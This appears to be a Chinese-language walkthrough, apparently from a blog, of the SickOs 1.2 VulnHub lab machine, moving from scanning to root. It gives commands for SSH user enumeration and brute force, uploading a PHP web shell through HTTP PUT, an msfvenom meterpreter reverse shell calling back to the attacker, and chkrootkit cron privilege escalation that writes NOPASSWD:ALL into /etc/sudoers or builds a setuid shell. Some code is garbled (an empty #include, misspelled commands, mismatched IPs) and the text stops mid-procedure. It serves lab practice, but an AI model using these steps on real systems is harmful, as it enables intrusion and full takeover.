SickOs1.2靶机
阅读原文时间:2023年07月09日阅读:3

仅供个人娱乐

靶机信息

靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/
一、主机发现

arp-scan -l

二、端口扫描

1. masscan --rate=10000 -p0-65535 192.168.181.133

三、端口服务识别

nmap -sV -n 192.168.181.133

四、漏洞查找与利用

1.浏览器访问http://192.168.181.133,发现发现登录界面,尝试目录扫描,没发现有用信息

dirb http://192.168.181.133 /usr/share/dirb/wordlists/big.txt

2.发现http://192.168.181.133/test/

1.SSH爆破

3.发现ssh的版本OpenSSH 5.9p1,存在用户枚举漏洞,用msf枚举用户得到用户John, root

searchsploit openssh

search openssh

4.使用hydra进行ssh爆破,破解出来root

5.发现web服务的版本lighttpd 1.4.28

searchsploit lighttpd,搜索漏洞,发现没有什么可利用的漏洞

6.  nmap 192.168.181.133 --script http-methods.nse --script-args http.methods.url-path="/test"

Getshell方式一 菜刀 shell

2.Bp抓包改为OPTIONS

或者对/test页面抓包,然后修改请求头为OPTIONS查看支持的HTTP方法

7. 上传了一个html文件进行测试,发现真的上传成功了(上传一个不存在的文件会响应201 Created)

3.Getshell方式一:菜刀

8.上传php一句话

9. 在菜刀中上传php反弹shell,反弹连接的IP以及端口,端口设置为443(防火墙阻止了非常用端口出去)

或者使用

4.使用php-reverse-shell.php

10.将Kali上的php-reverse-shell.php复制到物理机上,重命名为1.php,并修改监听的IP地址和端口;

IP:192.168.181.128

Port:443(注:换成其他高位端口不能监听成功,防火墙过滤掉了)

11.查看系统版本和内核版本

Getshell方式二:msf反弹 curl上传

1.Msfvenom生成一个反弹shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=7777 -f raw > shell.php

2.curl上传生成的反弹shell到目标

curl -v -H 'Expect:' -T shell.php "http://192.168.181.133/test/"

3. msf开启监听

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.181.128

set lport 7777或者443

exploit -j

sudo netstat -plnt

4.访问上传的shell

curl -v "http://192.168.181.133/test/shell.php"

获得shell

五、提权

lsb_relese -a

ls -la /etc/cron*

/etc/cron.daily:

查看漏洞

可以看到chkrootkit存在本地提权漏洞

方法一:添加当前用户www-data到sudoers列表中

Tmp新建一个文件update

cd /tmp

touch update

ls -l

给update文件添加执行权限

chmod +x /tmp/update

添加当前用户www-data到sudoers列表中;

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update

sudo su root

提权方式二:漏洞库

1.exploit-database中对漏洞chkrootkit进行搜索

2.msf中利用对应的漏洞结合已经获得的session

3.使用exploit/unix/local/chkrootkit模块本地提权,设置参数

4.开始攻击,成功,获得管理员权限

提权方式三:创建shell.c文件

1.编写创建shell.c文件提权

在Kali上编写shell.c文件

#include

void main(void)

{

system("chown root:root /tmp/update");

system("chmod 4755 /tmp/update");

setuid(0);

setgid(0);

execl("/bin/sh","sh",NULL);

}

将shell.c文件上传到靶机上

curl -v -H "Expect:" -T shell.c http://192.168.232.136/test/

cd /var/www/test

ls

cp shell.c /tmp/shell.c

cd /tmp